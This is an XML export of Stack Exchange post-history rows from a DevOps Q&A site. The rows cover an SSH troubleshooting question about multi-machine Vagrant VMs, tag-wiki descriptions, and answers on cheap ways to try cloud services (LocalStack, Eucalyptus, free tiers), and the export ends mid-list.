  <row Id="3384" PostHistoryTypeId="2" PostId="1016" RevisionGUID="255af28f-d5fa-4543-9272-242a46334058" CreationDate="2017-04-25T13:59:30.553" UserId="47" Text="One possibility would be to find a 3rd party business owning such infra and selling on-demand usage/access time/connectivity to it as a service for more convenient expenses. For example [Mathru Technologies][1] (found through plain google search).&#xD;&#xA;&#xD;&#xA;Another possible approach is to obtain such services from strategic partners or maybe even your very customers. Maybe even for free, depending on the quality of your relationship.&#xD;&#xA;&#xD;&#xA;You could also ask the mainframe community for advice and/or leads in this direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mathrutech.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3385" PostHistoryTypeId="5" PostId="1002" RevisionGUID="b379a922-c619-4fca-a1df-174202f2e5a1" CreationDate="2017-04-25T14:17:38.340" UserId="72" Comment="clarified generalization- cloud services *can* be expensive" Text="Cloud technologies are very hot right now, but they can be expensive.  What are the best strategies for learning/trying cloud services without racking up a huge bill?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3386" PostHistoryTypeId="2" PostId="1017" RevisionGUID="65e7ec41-cce5-49cb-9eb9-25aa8bdec03a" CreationDate="2017-04-25T15:24:51.400" UserId="873" Text="Morning everyone, &#xD;&#xA;&#xD;&#xA;I created a three node multi-machine vagrant environment and am having issues ssh'ing from one vagrant vm to another.  &#xD;&#xA;&#xD;&#xA;Here is the Vagrantfile: &#xD;&#xA;&#xD;&#xA;Vagrant.configure(&quot;2&quot;) do |config| &#xD;&#xA;  config.vm.box = &quot;centos/7&quot;&#xD;&#xA;&#xD;&#xA;  config.vm.define &quot;master&quot; do |master|&#xD;&#xA;    master.vm.hostname = &quot;master.local&quot; &#xD;&#xA;    master.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot;&#xD;&#xA;  end &#xD;&#xA;&#xD;&#xA;  config.vm.define &quot;node1&quot; do |node1|&#xD;&#xA;     node1.vm.hostname = &quot;node1.local&quot; &#xD;&#xA;     node1.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;  end &#xD;&#xA;&#xD;&#xA;  config.vm.define &quot;node2&quot; do |node2|&#xD;&#xA;    node2.vm.hostname = &quot;node2.local&quot; &#xD;&#xA;    node2.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;  end  &#xD;&#xA;end &#xD;&#xA;&#xD;&#xA;The hosts file (same on each node):  &#xD;&#xA;&#xD;&#xA;$ cat /etc/hosts&#xD;&#xA;172.28.128.3    master.local    master&#xD;&#xA;172.28.128.4    node1.local     node1&#xD;&#xA;172.28.128.5    node2.local     node2&#xD;&#xA;&#xD;&#xA;I can ping back and forth all day from any machine to the other but I cannot ssh from one vagrant vm to the other.  The typical error msg is :  &#xD;&#xA;&#xD;&#xA;ssh vagrant@172.28.128.3&#xD;&#xA;Permission denied (publickey,gssapi-keyex,gssapi-with-mic) &#xD;&#xA;&#xD;&#xA;SSH is running and the port is open. &#xD;&#xA;&#xD;&#xA;The firewall is not running.  &#xD;&#xA;&#xD;&#xA;I am sure this has to do with ssh keys.  I readily admit I am not an expert.  &#xD;&#xA;What am I doing wrong here folks?  &#xD;&#xA;&#xD;&#xA;Thanks!  " ContentLicense="CC BY-SA 3.0" />
  <row Id="3387" PostHistoryTypeId="1" PostId="1017" RevisionGUID="65e7ec41-cce5-49cb-9eb9-25aa8bdec03a" CreationDate="2017-04-25T15:24:51.400" UserId="873" Text="Unable to ssh in a mutli-machine vagrant environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="3388" PostHistoryTypeId="3" PostId="1017" RevisionGUID="65e7ec41-cce5-49cb-9eb9-25aa8bdec03a" CreationDate="2017-04-25T15:24:51.400" UserId="873" Text="&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3389" PostHistoryTypeId="5" PostId="1017" RevisionGUID="91331e05-3c38-47af-a55b-8d9f72b8ce2e" CreationDate="2017-04-25T15:26:38.897" UserId="14" Comment="Thanks lines are not necessary — upvote good answers and accept them instead!" Text="I created a three node multi-machine vagrant environment and am having issues ssh'ing from one vagrant vm to another.  &#xD;&#xA;&#xD;&#xA;Here is the Vagrantfile: &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-rb --&gt;&#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config| &#xD;&#xA;      config.vm.box = &quot;centos/7&quot;&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;master&quot; do |master|&#xD;&#xA;        master.vm.hostname = &quot;master.local&quot; &#xD;&#xA;        master.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot;&#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node1&quot; do |node1|&#xD;&#xA;         node1.vm.hostname = &quot;node1.local&quot; &#xD;&#xA;         node1.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node2&quot; do |node2|&#xD;&#xA;        node2.vm.hostname = &quot;node2.local&quot; &#xD;&#xA;        node2.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end  &#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;The hosts file (same on each node):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    $ cat /etc/hosts&#xD;&#xA;    172.28.128.3    master.local    master&#xD;&#xA;    172.28.128.4    node1.local     node1&#xD;&#xA;    172.28.128.5    node2.local     node2&#xD;&#xA;&#xD;&#xA;I can ping back and forth all day from any machine to the other but I cannot ssh from one vagrant vm to the other.  The typical error message is:  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    ssh vagrant@172.28.128.3&#xD;&#xA;    Permission denied (publickey,gssapi-keyex,gssapi-with-mic) &#xD;&#xA;&#xD;&#xA;SSH is running and the port is open. &#xD;&#xA;&#xD;&#xA;The firewall is not running.  &#xD;&#xA;&#xD;&#xA;I am sure this has to do with ssh keys.  I readily admit I am not an expert.  &#xD;&#xA;What am I doing wrong here folks?    " ContentLicense="CC BY-SA 3.0" />
  <row Id="3391" PostHistoryTypeId="5" PostId="1017" RevisionGUID="3f1701d0-32d3-4190-b60f-3df45a36191a" CreationDate="2017-04-25T15:45:14.693" UserId="873" Comment="added 23 characters in body" Text="I created a three node multi-machine vagrant environment and am having issues ssh'ing from one vagrant vm to another.  &#xD;&#xA;&#xD;&#xA;Here is the Vagrantfile: &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-rb --&gt;&#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config| &#xD;&#xA;      config.vm.box = &quot;centos/7&quot;&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;master&quot; do |master|&#xD;&#xA;        master.vm.hostname = &quot;master.local&quot; &#xD;&#xA;        master.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot;&#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node1&quot; do |node1|&#xD;&#xA;         node1.vm.hostname = &quot;node1.local&quot; &#xD;&#xA;         node1.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node2&quot; do |node2|&#xD;&#xA;        node2.vm.hostname = &quot;node2.local&quot; &#xD;&#xA;        node2.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end  &#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;The hosts file (same on each node):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    $ cat /etc/hosts&#xD;&#xA;    172.28.128.3    master.local    master&#xD;&#xA;    172.28.128.4    node1.local     node1&#xD;&#xA;    172.28.128.5    node2.local     node2&#xD;&#xA;&#xD;&#xA;I can ping back and forth all day from any machine to the other but I cannot ssh from one vagrant vm to the other.  The typical error message is (from node1 to master):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    ssh vagrant@172.28.128.3&#xD;&#xA;    Permission denied (publickey,gssapi-keyex,gssapi-with-mic) &#xD;&#xA;&#xD;&#xA;SSH is running and the port is open. &#xD;&#xA;&#xD;&#xA;The firewall is not running.  &#xD;&#xA;&#xD;&#xA;I am sure this has to do with ssh keys.  I readily admit I am not an expert.  &#xD;&#xA;What am I doing wrong here folks?    " ContentLicense="CC BY-SA 3.0" />
  <row Id="3393" PostHistoryTypeId="5" PostId="1017" RevisionGUID="46192ff6-c4b8-4b68-820a-38d3ee6936c6" CreationDate="2017-04-25T16:15:28.713" UserId="873" Comment="added 21 characters in body" Text="I created a three node multi-machine vagrant environment and am having issues ssh'ing from one vagrant vm to another.  &#xD;&#xA;&#xD;&#xA;Here is the Vagrantfile: &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-rb --&gt;&#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config| &#xD;&#xA;      config.vm.box = &quot;centos/7&quot;&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;master&quot; do |master|&#xD;&#xA;        master.vm.hostname = &quot;master.local&quot; &#xD;&#xA;        master.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot;&#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node1&quot; do |node1|&#xD;&#xA;         node1.vm.hostname = &quot;node1.local&quot; &#xD;&#xA;         node1.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node2&quot; do |node2|&#xD;&#xA;        node2.vm.hostname = &quot;node2.local&quot; &#xD;&#xA;        node2.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end  &#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;The hosts file (same on each node):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    $ cat /etc/hosts&#xD;&#xA;    172.28.128.3    master.local    master&#xD;&#xA;    172.28.128.4    node1.local     node1&#xD;&#xA;    172.28.128.5    node2.local     node2&#xD;&#xA;&#xD;&#xA;I can ping back and forth all day from any machine to the other but I cannot ssh from one vagrant vm to the other.  The typical error message is (from node1 to master):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    [user@node1.local] $ ssh vagrant@172.28.128.3&#xD;&#xA;    Permission denied (publickey,gssapi-keyex,gssapi-with-mic) &#xD;&#xA;&#xD;&#xA;SSH is running and the port is open. &#xD;&#xA;&#xD;&#xA;The firewall is not running.  &#xD;&#xA;&#xD;&#xA;I am sure this has to do with ssh keys.  I readily admit I am not an expert.  &#xD;&#xA;What am I doing wrong here folks?    " ContentLicense="CC BY-SA 3.0" />
  <row Id="3394" PostHistoryTypeId="5" PostId="1017" RevisionGUID="3ecdbb36-4ba2-412f-8866-577c4d0aa3b7" CreationDate="2017-04-25T16:23:54.477" UserId="873" Comment="added 3 characters in body" Text="I created a three node multi-machine vagrant environment and am having issues ssh'ing from one vagrant vm to another.  &#xD;&#xA;&#xD;&#xA;Here is the Vagrantfile: &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-rb --&gt;&#xD;&#xA;&#xD;&#xA;    Vagrant.configure(&quot;2&quot;) do |config| &#xD;&#xA;      config.vm.box = &quot;centos/7&quot;&#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;master&quot; do |master|&#xD;&#xA;        master.vm.hostname = &quot;master.local&quot; &#xD;&#xA;        master.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot;&#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node1&quot; do |node1|&#xD;&#xA;         node1.vm.hostname = &quot;node1.local&quot; &#xD;&#xA;         node1.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end &#xD;&#xA;    &#xD;&#xA;      config.vm.define &quot;node2&quot; do |node2|&#xD;&#xA;        node2.vm.hostname = &quot;node2.local&quot; &#xD;&#xA;        node2.vm.network &quot;private_network&quot;, type: &quot;dhcp&quot; &#xD;&#xA;      end  &#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;The hosts file (same on each node):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    $ cat /etc/hosts&#xD;&#xA;    172.28.128.3    master.local    master&#xD;&#xA;    172.28.128.4    node1.local     node1&#xD;&#xA;    172.28.128.5    node2.local     node2&#xD;&#xA;&#xD;&#xA;I can ping back and forth all day from any machine to the other but I cannot ssh from one vagrant vm to the other.  The typical error message is (from node1 to master):  &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    [vagrant@node1.local] $ ssh vagrant@172.28.128.3&#xD;&#xA;    Permission denied (publickey,gssapi-keyex,gssapi-with-mic) &#xD;&#xA;&#xD;&#xA;SSH is running and the port is open. &#xD;&#xA;&#xD;&#xA;The firewall is not running.  &#xD;&#xA;&#xD;&#xA;I am sure this has to do with ssh keys.  I readily admit I am not an expert.  &#xD;&#xA;What am I doing wrong here folks?    " ContentLicense="CC BY-SA 3.0" />
  <row Id="3395" PostHistoryTypeId="2" PostId="1019" RevisionGUID="c359081a-a86c-49c1-a9b6-1ce421454996" CreationDate="2017-04-25T16:35:32.777" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3396" PostHistoryTypeId="1" PostId="1019" RevisionGUID="c359081a-a86c-49c1-a9b6-1ce421454996" CreationDate="2017-04-25T16:35:32.777" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3397" PostHistoryTypeId="2" PostId="1020" RevisionGUID="dbb9b54a-3013-4727-9114-84c7b06101c2" CreationDate="2017-04-25T16:35:32.777" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3398" PostHistoryTypeId="1" PostId="1020" RevisionGUID="dbb9b54a-3013-4727-9114-84c7b06101c2" CreationDate="2017-04-25T16:35:32.777" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3399" PostHistoryTypeId="2" PostId="1021" RevisionGUID="ba509fa6-1a19-45c2-8bd2-1fa5b93859b5" CreationDate="2017-04-25T16:37:46.540" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3400" PostHistoryTypeId="1" PostId="1021" RevisionGUID="ba509fa6-1a19-45c2-8bd2-1fa5b93859b5" CreationDate="2017-04-25T16:37:46.540" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3401" PostHistoryTypeId="2" PostId="1022" RevisionGUID="504850ff-9772-4a8a-bead-d76d93adf872" CreationDate="2017-04-25T16:37:46.540" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3402" PostHistoryTypeId="1" PostId="1022" RevisionGUID="504850ff-9772-4a8a-bead-d76d93adf872" CreationDate="2017-04-25T16:37:46.540" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3403" PostHistoryTypeId="2" PostId="1023" RevisionGUID="fc5195d7-fbee-4b1f-a1e5-c1bf307d1233" CreationDate="2017-04-25T16:44:18.257" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3404" PostHistoryTypeId="1" PostId="1023" RevisionGUID="fc5195d7-fbee-4b1f-a1e5-c1bf307d1233" CreationDate="2017-04-25T16:44:18.257" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3405" PostHistoryTypeId="2" PostId="1024" RevisionGUID="a91a029f-a68c-40fa-b245-09471f698d09" CreationDate="2017-04-25T16:44:18.257" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3406" PostHistoryTypeId="1" PostId="1024" RevisionGUID="a91a029f-a68c-40fa-b245-09471f698d09" CreationDate="2017-04-25T16:44:18.257" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3407" PostHistoryTypeId="5" PostId="1024" RevisionGUID="78ba8a48-34ca-4b0f-8177-753527a2c3e5" CreationDate="2017-04-25T16:44:31.307" UserId="40" Comment="added 109 characters in body" Text="For questions about GoCD, an open source Continuous Delivery server to automate the build-test-release cycle." ContentLicense="CC BY-SA 3.0" />
  <row Id="3408" PostHistoryTypeId="24" PostId="1024" RevisionGUID="78ba8a48-34ca-4b0f-8177-753527a2c3e5" CreationDate="2017-04-25T16:44:31.307" Comment="Proposed by 40 approved by 46 edit id of 308" ContentLicense="CC BY-SA 3.0" />
  <row Id="3409" PostHistoryTypeId="5" PostId="1020" RevisionGUID="c9baa0ad-654b-40af-800f-55add12caf7c" CreationDate="2017-04-25T16:44:34.487" UserId="40" Comment="added 46 characters in body" Text="For questions about Return On Investment (ROI)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3410" PostHistoryTypeId="24" PostId="1020" RevisionGUID="c9baa0ad-654b-40af-800f-55add12caf7c" CreationDate="2017-04-25T16:44:34.487" Comment="Proposed by 40 approved by 46 edit id of 306" ContentLicense="CC BY-SA 3.0" />
  <row Id="3411" PostHistoryTypeId="5" PostId="1022" RevisionGUID="c6e16c44-55cb-4343-89af-fe7e19470e1d" CreationDate="2017-04-25T16:44:37.300" UserId="40" Comment="added 132 characters in body" Text="For questions about Secure Sockets Layer (SSL), which is a cryptographic protocol providing secure communications over the Internet." ContentLicense="CC BY-SA 3.0" />
  <row Id="3412" PostHistoryTypeId="24" PostId="1022" RevisionGUID="c6e16c44-55cb-4343-89af-fe7e19470e1d" CreationDate="2017-04-25T16:44:37.300" Comment="Proposed by 40 approved by 46 edit id of 307" ContentLicense="CC BY-SA 3.0" />
  <row Id="3413" PostHistoryTypeId="2" PostId="1025" RevisionGUID="012e033c-6b2e-48ad-a413-889142579f8f" CreationDate="2017-04-25T16:49:23.567" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3414" PostHistoryTypeId="1" PostId="1025" RevisionGUID="012e033c-6b2e-48ad-a413-889142579f8f" CreationDate="2017-04-25T16:49:23.567" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3415" PostHistoryTypeId="2" PostId="1026" RevisionGUID="f68bad2e-4b8d-4725-adda-b0e193e62e96" CreationDate="2017-04-25T16:49:23.567" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3416" PostHistoryTypeId="1" PostId="1026" RevisionGUID="f68bad2e-4b8d-4725-adda-b0e193e62e96" CreationDate="2017-04-25T16:49:23.567" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3417" PostHistoryTypeId="2" PostId="1027" RevisionGUID="36d82a47-e821-42c8-ae73-2c86a9905279" CreationDate="2017-04-25T16:52:09.793" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3418" PostHistoryTypeId="1" PostId="1027" RevisionGUID="36d82a47-e821-42c8-ae73-2c86a9905279" CreationDate="2017-04-25T16:52:09.793" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3419" PostHistoryTypeId="2" PostId="1028" RevisionGUID="7d31f9a1-fe55-473c-b3db-2d3b8ba1df0e" CreationDate="2017-04-25T16:52:09.793" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3420" PostHistoryTypeId="1" PostId="1028" RevisionGUID="7d31f9a1-fe55-473c-b3db-2d3b8ba1df0e" CreationDate="2017-04-25T16:52:09.793" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3421" PostHistoryTypeId="2" PostId="1029" RevisionGUID="6b1f70ed-6dc6-4e18-b465-83a35f3ee2f2" CreationDate="2017-04-25T16:54:59.190" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3422" PostHistoryTypeId="1" PostId="1029" RevisionGUID="6b1f70ed-6dc6-4e18-b465-83a35f3ee2f2" CreationDate="2017-04-25T16:54:59.190" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3423" PostHistoryTypeId="2" PostId="1030" RevisionGUID="021585de-4c90-448b-9edd-05785ac3bcc7" CreationDate="2017-04-25T16:54:59.190" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3424" PostHistoryTypeId="1" PostId="1030" RevisionGUID="021585de-4c90-448b-9edd-05785ac3bcc7" CreationDate="2017-04-25T16:54:59.190" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3425" PostHistoryTypeId="2" PostId="1031" RevisionGUID="9805b71a-a81a-4f75-bf81-320fceb8ff1f" CreationDate="2017-04-25T16:56:37.127" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3426" PostHistoryTypeId="1" PostId="1031" RevisionGUID="9805b71a-a81a-4f75-bf81-320fceb8ff1f" CreationDate="2017-04-25T16:56:37.127" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3427" PostHistoryTypeId="2" PostId="1032" RevisionGUID="4f4067b8-537f-4cb2-a7cb-76023d1b087d" CreationDate="2017-04-25T16:56:37.127" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3428" PostHistoryTypeId="1" PostId="1032" RevisionGUID="4f4067b8-537f-4cb2-a7cb-76023d1b087d" CreationDate="2017-04-25T16:56:37.127" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3429" PostHistoryTypeId="2" PostId="1033" RevisionGUID="7659ebc7-d818-4ea8-ac1b-d5c6fd67aa77" CreationDate="2017-04-25T17:00:50.800" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3430" PostHistoryTypeId="1" PostId="1033" RevisionGUID="7659ebc7-d818-4ea8-ac1b-d5c6fd67aa77" CreationDate="2017-04-25T17:00:50.800" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3431" PostHistoryTypeId="2" PostId="1034" RevisionGUID="eab931a4-0ede-49ed-b07c-bd0fb93a71b7" CreationDate="2017-04-25T17:00:50.800" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3432" PostHistoryTypeId="1" PostId="1034" RevisionGUID="eab931a4-0ede-49ed-b07c-bd0fb93a71b7" CreationDate="2017-04-25T17:00:50.800" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3434" PostHistoryTypeId="5" PostId="1028" RevisionGUID="81bb9304-9cbd-4e46-a924-476f8455f9e1" CreationDate="2017-04-25T17:15:21.027" UserId="40" Comment="added 54 characters in body" Text="For questions about Key Performance Indicators (KPIs)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3435" PostHistoryTypeId="24" PostId="1028" RevisionGUID="81bb9304-9cbd-4e46-a924-476f8455f9e1" CreationDate="2017-04-25T17:15:21.027" Comment="Proposed by 40 approved by 46 edit id of 310" ContentLicense="CC BY-SA 3.0" />
  <row Id="3436" PostHistoryTypeId="5" PostId="1030" RevisionGUID="2f28a7cf-cf76-4ff7-8825-c9301a69c21a" CreationDate="2017-04-25T17:15:26.193" UserId="40" Comment="added 77 characters in body" Text="For questions about the Information Technology Infrastructure Library (ITIL)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3437" PostHistoryTypeId="24" PostId="1030" RevisionGUID="2f28a7cf-cf76-4ff7-8825-c9301a69c21a" CreationDate="2017-04-25T17:15:26.193" Comment="Proposed by 40 approved by 46 edit id of 311" ContentLicense="CC BY-SA 3.0" />
  <row Id="3438" PostHistoryTypeId="5" PostId="1034" RevisionGUID="4246617c-bf87-44a9-8c3c-d94bc667c56f" CreationDate="2017-04-25T17:15:32.167" UserId="40" Comment="added 121 characters in body" Text="For questions about regressions, which is about previously fixed issues being reactivated due to recent software changes." ContentLicense="CC BY-SA 3.0" />
  <row Id="3439" PostHistoryTypeId="24" PostId="1034" RevisionGUID="4246617c-bf87-44a9-8c3c-d94bc667c56f" CreationDate="2017-04-25T17:15:32.167" Comment="Proposed by 40 approved by 46 edit id of 313" ContentLicense="CC BY-SA 3.0" />
  <row Id="3440" PostHistoryTypeId="5" PostId="1026" RevisionGUID="3c3dcd21-402a-4f30-a044-59b0a1459d63" CreationDate="2017-04-25T17:15:35.533" UserId="40" Comment="added 140 characters in body" Text="For questions about the Hypertext Transfer Protocol (HTTP), which is a network protocol used for transferring content on the World Wide Web." ContentLicense="CC BY-SA 3.0" />
  <row Id="3441" PostHistoryTypeId="24" PostId="1026" RevisionGUID="3c3dcd21-402a-4f30-a044-59b0a1459d63" CreationDate="2017-04-25T17:15:35.533" Comment="Proposed by 40 approved by 46 edit id of 309" ContentLicense="CC BY-SA 3.0" />
  <row Id="3442" PostHistoryTypeId="5" PostId="1032" RevisionGUID="96048e20-0634-407a-9a76-2a2c0f9c281d" CreationDate="2017-04-25T17:15:40.377" UserId="40" Comment="added 97 characters in body" Text="For questions about MySQL, which is an open source Relational Database Management System (RDBMS)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3443" PostHistoryTypeId="24" PostId="1032" RevisionGUID="96048e20-0634-407a-9a76-2a2c0f9c281d" CreationDate="2017-04-25T17:15:40.377" Comment="Proposed by 40 approved by 46 edit id of 312" ContentLicense="CC BY-SA 3.0" />
  <row Id="3444" PostHistoryTypeId="2" PostId="1035" RevisionGUID="f73e269c-23a1-42df-8633-1d9ac858ddbb" CreationDate="2017-04-25T17:43:25.130" UserId="739" Text="# Emulate the cloud on your own hardware&#xD;&#xA;&#xD;&#xA;Doing anything substantial with the free tier is challenging.  But you probably have some hardware lying around that you can build your own minicloud on.  If you need more memory you can dig through your junk drawer.  If you build something serious there's some chance you'll decide to buy more hardware, but that is less risky than needing to pay $$$ monthly to AWS to keep your doors open.&#xD;&#xA;&#xD;&#xA;## LocalStack&#xD;&#xA;&#xD;&#xA;[LocalStack](https://bitbucket.org/atlassian/localstack) spins up local emulators of a slew of services:&#xD;&#xA;&#xD;&#xA;&gt; * API Gateway at http://localhost:4567&#xD;&#xA;&gt; * Kinesis at http://localhost:4568&#xD;&#xA;&gt; * DynamoDB at http://localhost:4569&#xD;&#xA;&gt; * DynamoDB Streams at http://localhost:4570&#xD;&#xA;&gt; * Elasticsearch at http://localhost:4571&#xD;&#xA;&gt; * S3 at http://localhost:4572&#xD;&#xA;&gt; * Firehose at http://localhost:4573&#xD;&#xA;&gt; * Lambda at http://localhost:4574&#xD;&#xA;&gt; * SNS at http://localhost:4575&#xD;&#xA;&gt; * SQS at http://localhost:4576&#xD;&#xA;&gt; * Redshift at http://localhost:4577&#xD;&#xA;&gt; * ES (Elasticsearch Service) at http://localhost:4578&#xD;&#xA;&gt; * SES at http://localhost:4579&#xD;&#xA;&gt; * Route53 at http://localhost:4580&#xD;&#xA;&gt; * CloudFormation at http://localhost:4581&#xD;&#xA;&#xD;&#xA;It is completely open-source and it seems like Atlassian is putting a lot of engineering effort into keeping it current.&#xD;&#xA;&#xD;&#xA;## Eucalyptus&#xD;&#xA;&#xD;&#xA;[Eucalyptus](https://en.wikipedia.org/wiki/Eucalyptus_(software)) has been around for a bit longer and it has free and pay features.  It supports emulating EC2, S3, and IAM." ContentLicense="CC BY-SA 3.0" />
  <row Id="3445" PostHistoryTypeId="5" PostId="1004" RevisionGUID="124665fb-9405-4c57-925c-00ddf61bd8f5" CreationDate="2017-04-25T19:09:48.563" UserId="397" Comment="Added Logos" Text="The three major cloud platforms you mentioned have either free trials or a free tier; these all include spending and resource caps which prevent you from spending more than your free trial allows:&#xD;&#xA;&#xD;&#xA;## Azure&#xD;&#xA;&#xD;&#xA;[![Azure Logo][1]][1]&#xD;&#xA;&#xD;&#xA;Azure [offer £150/$200/€170 for the first one month of usage][2], in addition many of Azure's services have a free or low cost tier:&#xD;&#xA;&#xD;&#xA;   - App Service Free Tier&#xD;&#xA;   - SQL Azure Basic Instance @ £0.005/hour&#xD;&#xA;   - Azure Machine Learning Free Tier&#xD;&#xA;   - Azure Service Bus @ £0.04/million operations&#xD;&#xA;   - Azure Functions @ £0.15 per million executions&#xD;&#xA;&#xD;&#xA;If you have a MSDN or Visual Stuido Online account you can also get £100/$150/€130 per month of credit just because you are a subscriber to one of these services.&#xD;&#xA;&#xD;&#xA;If you are a startup you may qualify for $120,000 of Azure Credits to host your application through Microsoft's [BizSpark programme][3].&#xD;&#xA;&#xD;&#xA;## Amazon Web Services&#xD;&#xA;&#xD;&#xA;[![Amazon Web Services Logo][4]][4]&#xD;&#xA;&#xD;&#xA;Amazon [have a Free Tier][5] which includes:&#xD;&#xA;&#xD;&#xA; - 750 Hours of EC2 which equates to about a month of a t2.micro instance&#xD;&#xA; - 750 Amazon RDS&#xD;&#xA; - 5GB S3&#xD;&#xA; - 250,000 AWS IoT Messages&#xD;&#xA; - [**... and more**][5]&#xD;&#xA;&#xD;&#xA;In addition there perpetually free usage allowances on most services:&#xD;&#xA;&#xD;&#xA; - AWS Lambda: 1 million free requests a month&#xD;&#xA; - DynamoDB: 25GB Storage&#xD;&#xA; - Amazon SNS: 1 million publishes&#xD;&#xA; - [**... and more**][5]&#xD;&#xA;&#xD;&#xA;## Google Compute Platform&#xD;&#xA;&#xD;&#xA;[![Google Cloud Platform][6]][6]&#xD;&#xA;&#xD;&#xA;Google offer a $300 free trial for 12 months in a similar deal to Amazon. In addition they have free usage tiers for many of their core offerings:&#xD;&#xA;&#xD;&#xA; - Google App Engine: 28 instance hours / day&#xD;&#xA; - Google Cloud Database: 1GB Storage&#xD;&#xA; - Google Compute Engine: 1 f1-micro instance / 